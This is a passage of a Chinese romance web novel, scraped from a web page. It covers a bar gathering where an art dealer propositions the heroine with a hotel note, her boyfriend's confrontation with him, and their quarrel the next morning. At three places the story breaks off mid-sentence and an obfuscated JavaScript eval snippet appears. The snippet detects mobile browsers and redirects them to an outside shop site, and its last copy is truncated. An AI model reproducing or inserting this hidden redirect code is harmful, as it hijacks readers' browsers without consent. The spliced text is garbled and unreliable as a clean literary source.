季桃想了想,竟然也想不出。并没有丧失物欲,还是喜欢很多可爱的小物件,但是要说那种从心里伸出爪子、一定得拥有、非要不可的感觉,似乎并没有哪样东西能够激起来。 忽然,谭一伊坏笑:“我知道怎么享受了。现在做牛马,没空找男朋友,周围也没几个优质男生,等我有了一千万,我非得买个帅哥来,我让他往东他不会往西,我哭他哄我,我笑他陪我那种。” “哎,我要是个富婆该多好!”她羡慕地望着季桃,“还是你走运,不用花钱,就有这么个帅哥。行了,你俩现在好好的吧。我是真不该来找你,本来就苦,还得受刺激……” 这次谭一伊出差,是为了她们公司承办的一个青年艺术家联合画展。画展九月初在C市开幕,谭一伊和几个人被老板安排过来负责现场的组织筹备。 前期的准备过程中遇到不少麻烦,谭一伊跟季桃讲了一下午,直到邹巡带她们两个去吃晚饭,席间,她还在不停诉苦。 “我们老板脑子抽了,别人让他办画展他就办,打着海峡两岸文化交流的幌子,找了几个傻瓜企业赞助,我还以为至少他手里拿得出画呢,结果一幅都没有,啥都没有,靠我们现找画去!费的那个劲,要是让我画,画出来的都够展览了。 “干什么都行,像你们,和计算机打交道,和砖头房子打交道,都好。就是别和人打交道,太难搞。 “何况这些‘艺术家’,连人都不是,能把你活活气死。没名气的装有名气,各种摆架子,说:‘我一向都是开个展的。’有名气的根本不理你。反倒是那些不知道哪里冒出来的人,竟然还能打通各路关系,想方设法要把他们的大作挤进来。 “大陆这边还好稍微好点。隔着一道海,台湾更麻烦,我又不熟悉那边的情况,本来也不归我管,但是我们同事老指派我干她的活。她是个经理,我是个助理,没办法,还得听她的。” 原来谭一伊当前碰到的最大麻烦是:有位台湾画家W的画,是否能够参展现在还没定下来。虽然,这次画展展品主要是正在声名鹊起的一批青年画家的画作,但也需要业已成名的大画家镇场子。其中,大陆这边已经联系好一位,台湾那边就是W。 眼看画展就要开幕了,各项工作都在进行中,可万一到头来真缺了关键的一幅画,那就太难看太丢丑,其它做得再漂亮也没用。 谭一伊说:“W的画卖价挺高,他现在还不大情愿,怕有什么闪失。其实我们请了专门的安保,一路点到点跟踪,怎么来怎么回去,根本不用他操一点心,而且画作都会上高额保险,反正就是看不起我们这个小展呗。要是在卢浮宫挂,还不是巴巴就送去了。” 这些事情季桃也没经验,只能安慰朋友几句。 听了一会儿,邹巡说:“其实也没那么麻烦,无非想要钱,只要钱到位,没有搞不定的事。” 头回听邹巡嘴里冒出这种话,季桃有点惊讶。 谭一伊叹口气:“关键我们老板没这个觉悟啊,老板太抠门,看谁都要坑他。他总说,人家谁谁怎么就办成了呢?他以为是人家的员工比我们能力强,他就想逼我们空手给他做出一锅饭来。” “你得和老板直说,让他拿钱,不然,确实办不成,换谁都没用。他真不答应,你还是别跟着他干了。”邹巡说。 “我试试跟他说。”谭一伊猛吃了几口菜,放下筷子,雄赳赳地宣布,“等这次画展办完,我不干了。” 隔几天,谭一伊又给季桃打电话:“周六下午有空没,我们老板终于肯出血,包了一间酒吧,请了几个画画的,就是艺术家聚个会,你也来吧。” “我去干嘛,我又不画画,对艺术半点不懂啊。”季桃诧异道。 “你学建筑的,也是艺术,我就介绍你是未来的建筑大师。不用谦虚,你不知道那些人都是怎么往自己脸上贴金,那才夸张呢。真的,真的,你一定要来,不是去玩,是帮我的忙。” “怎么帮?” “我跟你直说,你别嫌难听,你就当个陪酒女郎,陪我的客人喝喝酒——不用真喝,艺术家都怜香惜玉,外加我们老板也不让多喝。其实就聊聊天就行了,我们包的是下午,想跳舞还得等到晚上人家正常营业。你要是不想喝了随时走。” 谭一伊这样说,季桃倒真动了心。她上大一时和大三的谭一伊在话剧社团认识,谭一伊像个姐姐,给了当时还迷惘的她不少指点和帮助,自己难得有一次回报的机会。 “但是我不太会聊天,怕和他们没有共同话题。”季桃还有几分担忧。 “不可能。你记不记得之前有人给你写诗,说你‘绿色眼眸’那个?不是我自吹,我倒算个文学女青年呢,也能写几句诗,有什么用,怎么不见有人给我写诗啊。我跟你说,这就叫漂亮的人自带诗意,你往那一坐,就能激发他们的灵感,有了灵感,谈话就顺溜,氛围就好。 “我说实话,其实这次聚会目的之一是想请个台湾人,挺有钱的,现在专做艺术品买卖的生意,自己也学过艺术。我们联系台湾那边的画家主要靠他介绍,大陆这边的画家也想和他认识,把画卖给他。而且,我们估计他能搞定W。 “反正,就是让他看看,咱们的画家也有潜力,咱们这个画展还是有含金量的。不过艺术家嘛,都桀骜不驯,我怕到时候谁也不理谁,都往廖展飞——就是我说的那个台湾人——旁边挤,不大好看。你去了,给平衡平衡,当着美女的面,别人不好意思瞎闹,对吧?” 季桃答应了。谭一伊又说:“对了,请邹巡一起去。” 季桃笑起来:“也是为他长得漂亮?他一个程序员,和那些大艺术家们更格格不入了。” “艺术家也有女的嘛,让他去吧,长得好在哪儿都能吃开。拜托了,请他捧个场。” . 周六下午三点,季桃和邹巡到了酒吧,谭一伊在门口迎接他们,对季桃的裙子夸赞了几句,又对邹巡说:“你可别老霸着季桃啊,也让她和别人说说话嘛。” “行。”邹巡笑答。 本次聚会的主人除了谭一伊,还有她的两位男女同事,女同事叫喻珠,长得挺漂亮,约莫二十六七岁,穿着条雍容华贵的香槟色吊带礼服裙。他们都在一楼招呼客人。客人已经到了一大半,有一位是本次画展的策展人,其余都是艺术家,男男女女有二三十个,三三两两地散落在舞池周围。 季桃和邹巡进来,大家都向他们两人看。谭一伊把季桃介绍给以“丰丰”为首的几位画家,喻珠则笑盈盈带走了邹巡,把他介绍给另一拨。 一个穿法式刺绣吊带的女生走到舞台正中,随着酒吧内播放的爵士乐,旁若无人地跳了一段,大家又都看她。 季桃把这群人打量一遍,暗暗喝彩:到底是艺术家,打扮得五色缤纷,但个个都显出自己的个性,并且毫无轻浮之态。 在一楼待了会儿,大家渐渐上二楼去了。季桃和几人坐在一只半圆形的沙发座上,边喝酒边聊天。如谭一伊所说,画家们看着不羁,其实言行有礼,比一般的男青年更少油滑气。 邹巡坐在屋子另一头,一开始,季桃总觉得邹巡时时向她望几眼,可是她看回去的时候,只看到邹巡的背影。尽管只是背影,似乎又和平时的背影不一样——他显然和画画的女孩们谈得很高兴。 他旁边全是女生,季桃干脆不往那个方向去瞧了。丰丰又给她拿来一杯酒,酒精让她彻底放松下来,满屋子青春、时尚的艺术界人士,确实挺让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946049|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人愉快的。 她最喜欢其中一个叫阿山的画油画的。阿山生着一张娃娃脸,略腼腆,只坐了一会儿便离开了,后来又来一个人,季桃也喜欢,他长得很帅,剃一颗光头,身材魁梧,像个武僧,所以得了和尚这个绰号。 并没有人告诉季桃,但季桃看见和尚与阿山小指上都戴着个别致的尾戒,猜出他们是一对。 她提了句阿山讲过的租画室的事,和尚很高兴,便一直坐在旁边和她说话。 约莫四十分钟后,谭一伊带着一位留平头、穿深灰色亚麻衬衫的男士上楼来。谈话声突然变低了,旁边的人小声说“廖先生”,季桃才明白这位是廖展飞,而不是又一名画家。 她有点儿惊讶,因为廖展飞看着挺年轻,约莫只有三十出头的样子,而在季桃想象中,成功的商人怎么也得四十往上了。 廖展飞一进来,就有两三个人迎上去说话。季桃看到,喻珠并不走上前,只是遥遥举了举酒杯,正和人寒暄的廖展飞分神朝喻珠扬扬手,露出洁白的牙齿对她笑一下,喻珠慢慢把杯里的酒喝了,才站起身。 因为廖展飞到来,聊天的重点转到了他身上。几位小画家开玩笑说,哪天不想自己画了,可以在他那儿找几件修补油画的活儿。季桃发现,其实每个人都暗暗希望廖展飞瞅中他们的画。 因为谈话几乎句句不离廖展飞,所以季桃也时时注意着画家口中的这条“大鱼”。 自从廖展飞被人迎住说话,他好像就一直站在那儿了。酒吧侍应送了杯酒给他,他便拿在手里,但顾不上喝,因为接二连三还有人上去说话。每回季桃目光转向那边,便看见廖展飞姿势不变,杯里的酒也不变,但在他身旁交谈的人,除了喻珠外,总是变来变去。 这时,他是和策展人、喻珠三个站在一起。 喻珠凑近廖展飞耳边小声说了几句话,一只手臂漫不经心搭在他肩上。廖展飞听她讲完话,笑了笑,眼睛向自己的肩膀扫了一眼,喻珠忽然大笑起来,笑得全身晃动,把胳膊拿下来,用手去捂嘴,有点尴尬的一幕就这样过去了。季桃正好看到,赶快把视线挪开。 再一抬头,廖展飞向他们几人走来。季桃以为他要与丰丰等人说话,正准备离开,谁知廖展飞走近,看着她说:“是季小姐吧,我刚才听喻小姐说你是J大建筑系毕业的。真是巧,我妹妹在那儿学计算机。” “啊,你妹妹一定是廖澍晴。”季桃说。 她还想台湾那边估计姓廖的人挺多,碰到两个人都姓廖,没想到,这两个人是兄妹。 “季小姐认识我妹妹!”廖展飞非常高兴。丰丰起身让开,他便立刻在季桃旁边坐下。 “见过几次,廖澍晴又热心又活泼,学校里很多人认识她。” “感谢季小姐关照家妹。”廖展飞双手合十抵在胸前,对季桃摇了一摇。 近了看,廖展飞像他妹妹一样,有一双蛮好看的单眼皮眼睛,显得挺秀气。干净秀气的男士好像做什么都不会滑稽,季桃被他的样子逗笑了:“当不起,并没关照,不用谢我。” “不,不,我听家妹说过,她说认识了一个很漂亮的学姐,很崇拜学姐,要以学姐为榜样。我以为是她言过其实,原来是真的。” 未必就是说我。季桃脸红了,而旁边的人相继离开,只余她和廖展飞坐在一起,更令她有点不安。廖展飞倒不觉有异,见她手里的酒快喝完了,扬手招来侍应生。季桃要了杯莫吉托,记得它酒精含量低,廖展飞则点了维斯珀,并告诉侍应生:“今天的酒等下都我来结账。” 他问季桃:“你喜欢谁的画?” 季桃以为他问在场的画家,道歉说她还没有看过他们的作品。 “大画家呢?伦勃朗?莫奈?” “我喜欢老勃鲁盖尔。” “喔——”廖展飞发出一个很长的声音,音调拐出惊讶和赞同,“为什么?” “因为看着挺开心,其实我就记得《雪中猎人》和《农民的婚礼》,别的我看不太懂。伦勃朗我也喜欢,不过,我真的一点儿都不懂。”季桃老实承认。没必要假装,装不过去。 廖展飞便谈起尼德兰画派,又讲博斯,又讲超现实主义,讲得很认真;他说自己是艺术史博士,语气中不含吹嘘的味道;他提到当代的一些画家,批评起来不留情面,但他对自己同样铁面无情,他说当初也想过画画,画得比谁都糟;他问季桃的工作,提了不少问题,也讲自己近期做的事——有意将喜欢的画作推荐给藏家却屡屡失败,无意间瞎选一通却很快升值——自嘲的口吻。 很快,季桃对他生出更多好感。 18. 酒店便笺 季桃暗暗分析对廖展飞好感的原因:他好像做任何事都有种虔诚严肃的态度,即使随意聊天也是如此。她偶尔提出自己的意见,他不吹捧,不轻视,而是认真分析、讨论,把她当作平等的谈话对手,这让她感到受尊重。 而且,周围不少美丽又有气质的女生,他却愿意和她这个“外行”聊天——季桃不得不承认自己有很强的虚荣心——她确实为此暗暗喜悦。 她注意到廖展飞嘴角旁边的纹缕。当他高兴的时候,眼睛微微向下弯,同时,嘴角边显现出笑纹。他笑得很真诚。 “我想起来了。”廖展飞忽然说,“一见季小姐,就感觉有点儿熟悉——有个法国电影,你挺像电影里的女生。”他用礼貌的目光再次打量了一下季桃,“我一向有个看法:美丽女孩分两类,一类是为画笔准备的,另一类是为镜头准备的。你是后面这种。” 季桃心中揣摩:是不是说她的样貌打扮符合当代时尚潮流,绝大多数女孩应该都属于这种;刚刚看到邹巡对面坐的那个画画女生,长相有种古典的幽静,大概可做“画布上的女孩”。她道了谢。 可能因为她没有接话,隔了一会儿,廖展飞又笑着说:“真的,季小姐有点欧洲那边的气质。电影我确实不记得名字了,是个文艺片,所以连情节也记不太起来了,并不是有意编出话骗你。” “太过奖了。谢谢。”季桃再次道谢。 廖展飞扭头,将房间里的人飞快扫视一圈,对季桃笑道:“我猜猜看,哪个是你的男朋友?” 他问出这么一句话,季桃有点惊讶,不过她还是笑笑说:“谭一伊请我来的,她是我的好朋友。”奇怪,邹巡不知哪里去了,他们那拨人老早前就散了,再没看见他。 廖展飞立即说:“那我来猜猜,哪一个是你未来的男朋友。” 不等季桃抗议,廖展飞已经扭了头,把视线范围内所有男士挨个看过。四五秒工夫,他缓缓摇头,嘴边的笑纹便像一道柔柔的波时隐时现:“我看他们哪一个也不可能。” 他的眼睛里闪着一种冷酷的蔑视,像带利刺的钩子,一下钩掉了艺术家们光鲜的外皮,季桃此时明显地看出,那些意气风发的青年们,身上或多或少藏着某种窘迫。不过,他们还年轻,前程还在脚下,只不过尚未成名而已,要求他们与廖展飞同样从容似乎有点不公平。 廖展飞对诸位画家突如其来的轻蔑让季桃感到不自在,她忽然醒悟,这个人并非他表现出的那样真诚。 廖展飞似乎看出她心中所想,抬起一只手,轻轻向四周指点,笑着说:“季小姐为他们不平吧?很抱歉我说了过分的话,对艺术家和艺术,我是非常尊重景仰的。我也有好些个艺术家朋友,熟了就知道,他们都是个性很强的人,有一些是故意换女朋友,好维持他那个风流才子的名声嘛,还有些表面上疯,私底下就更疯了。” 片刻间,季桃走了神。她当然不可能找个艺术家男朋友,她知道他们“疯”,她有个“艺术家”爸爸。但这时,她想的不是爸爸。她想:这么长时间邹巡究竟去哪儿了? 又听廖展飞说:“……真想交朋友,我要诚实说一句:最好远离艺术家。这些搞艺术的、写诗的、玩音乐的,他们太自我,担当不了责任。大多数女孩子都认为和艺术家在一起很浪漫,不过我想,季小姐追求的是更高级的浪漫。” 他把话题和目光拉回季桃身上,同时,从口袋里摸出一张便笺纸,放在旁边桌上,便笺上面印着某家豪华酒店的名字。 “我住在这儿。”廖展飞说,“我从来不告诉人我的住址,今天,我愿对季小姐例外。”说着,他又拿出一只水笔,写下几个字,边写边说,“我觉得在纸上写字,比用手机发message,要真诚一些,请季小姐相信我的诚意。” 季桃一时间没懂他的意思。然后,她想,肯定是自己理解错了。 “还有工作要赶,今天就算是休了个礼拜,明天我不会出门,欢迎朋友造访。”廖展飞笑着,把上面写有几个数字的便笺向季桃稍微推了推,“要是季小姐愿意聊聊天,或者有事情需要帮忙,能头一个想到我,将是我莫大的荣幸。”他的笑容中满是诚挚。 季桃的脸慢慢红热起来。 她不是不懂得拒绝人,她对很多人说过“不好意思”,但那些人的请求是加个联系方式,至多也无非是吃顿饭或看场电影而已。 而眼前受到这种侮辱,还要她像以前那样,笑着摇摇头? 季桃觉得自己看人还算是准的,若是对方不转正经脑筋,她连让他们接近的机会都不会给,可是,廖展飞看着明明是个温文有礼、热爱艺术、笑容诚恳的人,怎么会突然邀她去酒店? 他刚才的恭维话,其实并非赞美,而是在试探她的反应? 那她的哪一句答话,哪一个动作,哪一个眼神,告诉他试探成功了? 要不然是因为她今天穿的这条裙子?她穿着上回在恒隆买的不对称裁剪连衣裙,她以为这条裙子给人的感觉是淡雅清冷,难道不是?就因为左边的肩膀整个露在外面? 廖展飞嘴里说的需要帮忙,莫不是指这次的画展?他会出力,搞定那位大画家W?要是她不愿请求他,他就袖手旁观? 这些想法在季桃脑子里不过一闪念,她看着廖展飞。单眼皮下,他的目光很柔,鼓励地望着她,嘴旁的笑纹又深了深。 季桃刚要开口,邹巡不知从哪里走过来,坐在了她的另一边,和廖展飞相对。 “邹巡。”他向廖展飞伸出手,正伸在季桃面前。 廖展飞好像被邹巡的突然出现搞得有些懵,但他脸上很快显出友好的笑容,欠身,和邹巡握了握手。 “邹先生,幸会幸会。” 廖展飞似乎准备掏出名片,但是邹巡说:“看来廖先生和我一样,没有带名片的习惯。”他的眼睛往桌上瞄了一眼。 廖展飞在凳子上挪挪身子:“对不起,今天忘了带。”他稍稍打量了一下邹巡,“邹先生也是在艺术行业……” “不在,我是软件工程师。”邹巡把手里握着的一只酒杯随意往桌子上一搁,刚好压在酒店便笺上。 廖展飞朝杯子一望,目光迅速缩回来:“原来邹先生做软件,我刚才告诉季小姐,我妹妹也正在学计算机,有幸与季小姐同校。” “是吗,真是巧。对了,我确实听季小姐提起过令妹。可惜季小姐毕业了,不然和令妹还能互相照应照应。” “季小姐已经对家妹关照良多了。” “原来廖先生是为令妹感谢季小姐,像廖先生这样知恩图报的人可不太多见。” “应当的。”廖展飞笑笑,“我妹妹孤身一人在此,承蒙季小姐照拂,我们全家都实在感激不尽。” “这么说廖先生是代表全家,专程前来向季小姐道谢?” “啊,不不。”廖展飞脸上红了红,“我其实算是来上班,原本是想见见几位艺术家。我事先并不知道有幸能见到季小姐。” 季桃早就想走,但他们是坐在半圆卡座上,她在中间,邹巡和廖展飞各占一头,而且邹巡根本看都不看她一眼,他想干嘛? 这时邹巡才朝她转过头,季桃赶快丢个眼色,可邹巡并不接,只笑一笑,似乎是要她别着急。 廖展飞大概也想走,目光刚转到季桃脸上,被邹巡一句话又拽了过去:“廖先生上的班一定很有趣味,能经常见到艺术家。” “毕竟是上班,哪有很多趣味。”廖展飞敷衍地说。 可是,邹巡很有兴趣的样子,继续问了他几个行业问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952440|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,廖展飞没走脱,“礼节”使然,只好和邹巡聊起来了。 两个人一个圆熟,一个锋锐。相较而言,锋锐的人更具进攻性,圆熟的人更稳重,孰强孰弱未必能很快见分晓;何况还有年龄因素,年龄和经验使他们的眼界不那么对等,可邹巡比廖展飞自信得不是一点半点。 邹巡年轻,外貌俊朗,头脑聪明,有无数理由自信,但他的自信似乎是源于他“正牌男朋友”的身份。现在,几乎每说一句话,他都先望望季桃的眼睛,好像那能使他的双目中燃起一道光芒,然后再去看廖展飞,把对方映得黯然失色。 至于谈话内容,邹巡是“不懂”和“懂”掺杂,“不懂”的时候更多,譬如对艺术,他是满口门外汉的胡说八道,而且强词夺理,不懂装懂,胡诌八扯一通,又问:“廖先生如何看?”逼得廖展飞接话,廖展飞纵然再饱读诗书,却是秀才遇见兵,说也说不清。 然而,论到“生意”部分,邹巡却是“太懂了”,三言两语就能揭开关窍,正在点上——这是季桃从廖展飞惊诧而注意的表情中看出来的。季桃自己倒不太惊讶,邹巡经常阅读经济报道,虽被她笑话“装资本家”,但他聪明、爱思考,又思路清晰,肯定总结出了一点东西。不过,邹巡的“胸有成竹”之中,好像还有其它因素,却是她也无法一下子明了的。 渐渐地,廖展飞话接得越来越勉强,鼻子旁边的笑纹越来越难寻觅,额头中心一道竖着的纹路却越来越醒目。 终于他逮住机会说了句:“邹先生博闻强识,见解高明,不必再问我了。” “过奖了。”邹巡语气一点儿都不谦虚,“我不懂艺术,恐怕发不出什么高论。廖先生大概早听出来了吧。不过廖先生倒给了我不少启发,说实话,我今天来到这儿,就数这场谈话最有意思。” “邹先生平时愿意做什么?”廖展飞随意地问了句。 “和廖先生差不多。男人么,当然是喜欢找点刺激了,对吧。”邹巡笑着说。 廖展飞的笑在脸上僵得很难看。 “我愿意赚钱,赚更多钱,和美丽的女孩聊天。——是不是和廖先生差不多?” 廖展飞终于能比较自如地笑了。“还是邹先生更高明。”他好像要显得既亲切又淡漠,但两种表情在脸上布不过来,使得笑纹变得支离破碎。 “廖先生太谦虚了。” 邹巡脸上的表情一直不变:轻松、略带微笑。但他说话的语气却直接且粗鲁。 两个人对视,总有一方撑不住,先挪开目光,就算败下阵来。邹巡和廖展飞并非在对视,他们的目光只在谈话当中短暂相接,又各自转开,通常是邹巡先转开,但是这时候,廖展飞的眼睛不停躲闪着,回避视线相交。 “说得口渴了,再来杯酒吧。”邹巡问他。 “抱歉,下次,下次一定奉陪。”廖展飞含糊道。 邹巡笑笑,拿起酒杯将最后一口喝完,又把下面那张纸捏起来,先是不经意地瞟一眼,又仔细瞧了瞧,摇头说:“不太行。” 不知道他评价的是什么,从他煞有介事的目光看,好像是书法,可纸上就几个阿拉伯数字,哪里谈得到书法。 廖展飞起身,屈腰站在那儿:“我还有事,抱歉了。”急匆匆向季桃和邹巡各点了一下头,“再会。” 邹巡抬头看他,“再会。”他低下头,不知对谁说,“要住也是顶层的房间。十五层,不上不下,一般得很。” 廖展飞匆匆地走了。 冲他的背影,邹巡低声用英文骂了句脏话。 季桃从没见过邹巡爆粗口。他连打游戏在最后一关功亏一篑时都不骂,这次是真的生气了。 当他回头看季桃时,眼睛里还闪着危险的光,但随即便笑了:“玩得开不开心?” 19. 不是吃醋 季桃摇了摇头,又急忙说:“不是不开心,是不知道。” “那你想不想回去?”邹巡问。 季桃向四面望了一圈。有几人好奇地往这边瞧着,阿山和尚则冲她笑,他们两个站在一起。季桃给他们回了一个大大的笑,感到一种轻飘飘的愉悦,肥皂泡泡般从心底里漫上来,这大概就叫做渐入佳境吧。喝酒真好玩,酒吧的聚会真有意思。转向邹巡说:“不想。我觉得挺高兴,大家都挺高兴。” “喝了酒嘛。”邹巡说。 “我还想再喝点儿。之前他们帮我点的一杯挺好喝,我忘了名字了。” “没事。咱们都点一遍,来吧。”邹巡握住她的手臂,带她往楼梯走去。 “今天只开了一二楼,没开三楼。”季桃说。 “开了,上去看看。” 楼上没人,但吧台后却真的站着个酒保。 “先喝什么?”邹巡拿单子给季桃看。 季桃不看,直接报:“海风。” “海风。其它的各一杯。”邹巡对酒保说,又对季桃说,“你每样试一试,看看哪个最喜欢。” “谭一伊说她老板抠门,报销很难的。” “没关系,我来付。” “对了,刚才廖展飞说他会付。” 邹巡笑笑。等海风调好,他问:“刚才有人买单了吗?” 酒保查了后说没有。 “个瘪三大概已经跑了。”邹巡轻蔑地笑了笑,拿出手机,“把这些和楼下已经点的都结了,有人问就说廖先生结的。” 酒保点点头。 季桃小口小口地喝酒,听不知从何处传来的音乐,晃一晃杯里的冰块,又看一会儿调酒。 调好的酒一杯一杯摆上来,季桃真的每样都喝几口,看着它们炫丽的颜色,用手指拢住冰凉的杯子。 从椅子上跳下来时,晃了一下。 “没事。”她对邹巡摆摆手。 从洗手间回来,看到邹巡坐在吧台的背影。年轻男人结实紧致的背,肩膀很宽。从背影便可看出他是个危险人物,足以干翻十个廖展飞。季桃感觉受到一种强烈的吸引,可她又有点儿不认识邹巡了似的。 “怎么样?”邹巡扶她在凳子上坐好。 “没事,没碰到危险。”季桃答。然后她扭过头,侧着脸看了一会儿邹巡,“我发现你是这儿最危险的人。” “这儿就我一个人。”邹巡说。酒保也不见了。 “那也是最危险的,不管有几个人。这是夸奖你。” 邹巡俯过来吻季桃。沾过酒后他的唇冰凉,季桃全身一颤。 这个吻可能持续了九十秒,季桃这么想是因为她记得自己憋气刚好能憋一分半。 邹巡放开她时,她猛吸一大口气,听他说:“谢谢夸奖。你真好喝。”又说,“刚才应该去洗手间堵你。” “怎么没去?” 邹巡笑笑,手指抚抚她的眉毛:“没干过这种事,怕你以为我多有经验似的。” “此地无银。一看你就是老于此道了。”季桃嘻嘻笑一阵,“我好像已经喝多了,一会儿怎么回去?”她问邹巡。 “不是还有我吗,没关系,你尝尝这个。”邹巡把一杯酒推到她面前。 “太辣了。”季桃呲牙咧嘴地皱起眉。 “那这个呢?” “这个还行。叫什么?”喝了一口,季桃问。 “僵尸,意思是喝完你就变成僵尸了。” “真的?我试试。”季桃捧过杯子,又灌好几口。 “别喝太多,会难受。”邹巡抢过去自己喝,“你再试试别的。” “我真喝不了了,我要选一杯喝完。”季桃说。 “你最喜欢哪个?” 季桃顺着一溜杯子看过去:“我忘了,再尝一遍我才能告诉你。” “行了。”邹巡笑起来,“都忘了,那就是没有特别喜欢的。” “我还是最喜欢这个。”季桃挑出海风,抓到自己面前,喝了一口。冰块融化,把酒味冲淡了。 “因为它看着好看,而且我人生中第一杯酒就是喝它,好比初恋。”季桃解释自己为什么喜欢海风,又啜一口,回忆那个味道。“酸,苦,只有一点点甜,味道虽然算不上多么好,但……” “味道算不上多么好?”邹巡打断她。 季桃抬头:“你着急什么,谁说你是初恋了?” “我不是?” “不是,你顶多算个初吻吧。” “初吻初恋不是一回事?” “当然不是,初恋的时候我还是个纯情少女。” “那个男的呢?”邹巡问,声音中已有几分危险。 季桃紧紧蹙起眉,想了一会儿。“我说错了,不算初恋,只能算个暗恋。可能也不算暗恋,就是那一瞬间的感觉。你不用吃醋,你知不知道,什么叫一—瞬—间—的—感—觉?”她认真看着邹巡,一字一字地说。 “就是——”季桃做了个打响指的动作,其实并没打响,“piu一下,他就不见了。” “不见了?去哪儿了?” “你别问了。我再没见过他。”季桃趴在吧台上,恹恹地说。 . 周日上午季桃很晚才起床,醒来后,她觉得头疼。 邹巡给她端来一杯水,她一口气喝了,邹巡又倒一杯。“我昨天走的时候什么样,没被谭一伊笑话吧?” “没,你看着挺好的,还和她打了招呼,说了几句话。” “真的?我怎么一点儿都不记得。”季桃疑惑地握着杯子,“我都喝断片了?喝了多少?” “怪我。”邹巡说,“我对你的酒量没数,让你喝多了。” “我到底喝了多少?” “四五杯吧,——和我。前面我不知道。”邹巡飞快地补一句。 前面?他这话好像隐隐带有责备的意思。慢慢地,季桃回想起昨天的事。没错,带有责备的意思。 其实,邹巡知道她酒量不行。她去参加公司欢迎新员工的聚餐,恐怕要喝酒,有点为难,那时他说:“没事,不想喝就一口别喝。你就说喝酒不舒服,喝饮料,谁敢灌你酒,告诉我。” 可昨天,他主动要了那么多酒,和她一起喝,哄着她喝——因为他生气了。 “前面我喝了有三四杯吧。”季桃低声说。 “那确实有点儿多了,没事,今天休息一下……” “我和别人喝的度数都不高,和廖展飞喝的是莫吉托,和白开水差不多。” “那也是酒,不是白开水,他不应该找你喝。” “他是谭一伊她们特意请来的客人……” “知道,所以我对他够客气了。不然非得揍他一顿。也怪我,出去接了个电话,刚开始没看见,回来看见他和你说话我还忍了一会儿。——我就不该忍。” 这么说不是因为那张字条,还没到字条的事儿,就只是寻常吃醋,季桃心里好受了一些。 “你都不知道他和我说什么你就生气,别人和我说话怎么没见你生气?” “别人也生气,不过我都忍着。连几个三流都算不上的画画的都计较,我气量也太窄了吧。” 话是笑着说的,但声音里含着一种真正的轻蔑,就同廖展飞环顾酒吧,看着那群画家们时,眼睛里流露出的轻蔑一模一样。好像有冷飕飕的气从邹巡鼻孔里出来,吹到季桃身上,把她心中的火腾地吹起来了。 “你凭什么说人家三流都算不上。那几个女生想必都是大画家吧,弗里达?潘玉良?要不你跟她们聊那么开心?昨天加了几个?” “我哪里和谁聊得开心,那不是礼貌吗?”邹巡说,“你什么时候见我加过谁了?” 季桃后悔说了那句话。抢着吃醋好像是心虚的表现,她有什么好心虚的? 她尽可能用平静的语气理直气壮问:“你也知道是礼貌,怎么我和别人说几句话,喝杯酒就不应该了,就不是礼貌了?你礼貌吗你说人家连三流都算不上?” “好吧,我说错了,当我没说。至少他们不下流,我说你不应该和廖展飞喝酒是因为他太下流。” “一开始你怎么知道他下流?他又没把下流两个字写脑门上。” 邹巡冷哼:“他那点儿心思,就差没往脑门上写了。” 季桃看着他。她确实生气了,她预感今天一定会和邹巡吵一架,尽管刚才她的音调不过只是提高了一星半点而已。 邹巡解释说:“随便查一下就能知道,网上有他家里企业的详细信息。虽然没说他老婆,但是台湾企业家,在有些方面很传统——他肯定结过婚了,大概率也有孩子了。他一个有家有口的人,大老远跑来不干点正事,明仗着别人都怕得罪他,抓着你一个小姑娘拼命搭讪,他能有什么好心思?这么个人,难道我不该揍他?” “你一见到他就去查他了,怎么查?你又没戴特殊的眼镜,你又不是特工间谍。”季桃也还是笑着。她讨厌廖展飞,可邹巡一语道破廖展飞为何可厌,不知怎的,她心里有点发凉。 “用不着查,这是常理。看他是个什么身份,再看什么场合,他什么样子,一打眼我就猜得出来。” 常理。这两个字令季桃浑身一抖。 她想起前几天和邹巡吵过一次。那是在早上上班路上,他们说起来以后给她买辆车,她兴冲冲说想要MINICooper,甚至心里面已经开始挑选颜色了,邹巡却不赞同,他说:“一看就是小女孩开的。” 话倒罢了,关键是“小女孩”几个字暗含鄙视。别人可能听不出,但她知道,邹巡最擅长看似有礼貌的鄙视。 “所以呢?我不就是小女孩?” “是啊,所以,你更不能再开那么一个小车,不然上了马路就等着被人欺负吧。你这个性子,受了欺负,你又要急。” 其实只是随意聊个天而已,两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他确实没说过,但她不承认。“你嘴上不说不代表心里不想,你会在心里想:季桃没听我的,所以她现在吃亏了。” 他们就吵到这里,到她公司了,她跳下车。那一天邹巡给她发了好多消息她都没理,下班后邹巡去接她,他们还是和好了。 邹巡说:“都按你的喜好,好不好?你不要觉得我看不惯你,我没有。没有看不惯,也不是看惯了。我就是喜欢你,最喜欢你骄横、随心所欲。你想怎么样就怎么样,哪怕错了也没关系,错了就错了,咱们又不是错不起。” 